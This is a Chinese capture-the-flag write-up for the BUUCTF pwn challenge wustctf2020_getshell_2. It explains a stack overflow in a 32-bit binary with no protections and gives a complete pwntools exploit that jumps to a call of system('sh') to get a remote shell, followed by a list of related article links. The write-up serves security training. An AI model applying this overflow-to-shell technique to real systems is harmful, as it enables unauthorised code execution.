buuctf wustctf2020_getshell_2 ret2shellcode
BUUCTF wustctf2020_getshell_2 ret2shellcode
check一下,32位的程序且没有开任何保护
用ida打开,vuln很明显这是一个漏洞函数,f5查看一下伪代码,可以看到buf距离栈底0x18个字节
这是shell函数的伪代码,我们可以看到虽然这个并不是我们想要的shell(不是/bin/sh),但是程序里面有sh的字符串可以供我们利用,那我们现在就查找一下"sh"所在的位置
$ ROPgadget --binary '/home/pwn/Desktop/wustctf2020_getshell_2' --string "sh"0x08048670 : sh
找到"sh"所在的地址为0x08048670
之后我们找到这个call _system所在的地址,如图为0x8048529,接下来构造exp吧:
from pwn import *
p=remote('node3.buuoj.cn',29749)
sh=0x08048670
system_call=0x8048529
payload=b'a'*0x18+b'aaaa'+p32(system_call)+p32(sh)
p.sendline(payload)
p.interactive()
这个里面的system函数不需要加上它的返回地址,原因是:当程序调用call的时候,会将下一个地址中的值压入栈中,直接去执行了system(“sh”),所以就不需要返回地址了
放上拿到的flag
buuctf wustctf2020_getshell_2 ret2shellcode相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF的Web真题学习整理(一)
目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...
- [BUUCTF-pwn]——wustctf2020_getshell_2
[BUUCTF-pwn]--wustctf2020_getshell_2 有system没有sh.所以找一下 exploit from pwn import * p = remote('node3.b ...
- BUUCTF寒假刷题-Web
前言 寒假横向刷题(尽量) BUUCTF
- BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过
BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...
- BUUCTF刷题笔记
BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...
- BUUCTF Quoted-printable编码
Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...
- BUUCTF NewStarCTF一些新知识记录
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...
- buuctf Mark loves cat
buuctf Mark loves cat 打开是个静态页面,源码也无任何有用信息 dirsearch扫描后发现.git泄露 GitHack.py下载得到两个php文件,接下来就是代码审计: flag ...
最新文章
- React Native 0.59.0 发布,使用 React 编写原生应用
- linux线程关闭信号,Linux/UNIX用同步方法处理异步信号
- button/input链接方式全攻略 [转]
- InternetOpen InternetOpenUrl InternetReadFile 和 InternetCloseHandle
- spring boot 整合redis实现方法缓存
- 在阿里云Kubernetes上运行SpringCloud示例PiggyMetrics
- 一个SAP Marketing Cloud和Kyma的集成
- Linux命令之 mount -- 文件系统挂载
- JavaScript中的地图与对象
- Test 2018-07-19 二中集训
- iPhone 13系列整机较iPhone 12更重 最重接近半斤
- 反击网络执法官(转)
- 双绞线为什么要绞起来
- 毛笔字软件测试简历,写字测试
- python整数反转
- 分糖果 2021T1
- 市场调研-全球与中国VR和AR光学器件市场现状及未来发展趋势
- 【IM集成攻略】手把手教你环信对接离线推送,再搞不定把你头打掉
- 计算机简单易懂知识,如何选购电脑主板?小白装机简单易懂的电脑主板选购知识指南...
- 小程序 timestamp_通过构建Timestamp微服务应用程序来学习Node.js
热门文章
- 支付宝支付开发的防钓鱼的时代已经到来
- 使用word2vec对新浪微博进行情感分析和分类
- 定义一个圆,求圆的面积
- [附源码]java毕业设计 宠物医院管理系统
- C++ pthread cond_wait 和 cond_broadcast的使用
- 对于顺序表和链表的区别
- 兴趣部落怎么显示无法连接服务器,QQ兴趣部落将停运 曾被官方通报“诱导未成年人无底线追星”...
- 电力电子应用技术的matlab仿真 光盘,《电力电子应用技术的MATLAB仿真》.pdf
- Excel 将一列数据分成多列
- shell字符串中同时包含单引号和双引号的一种处理方法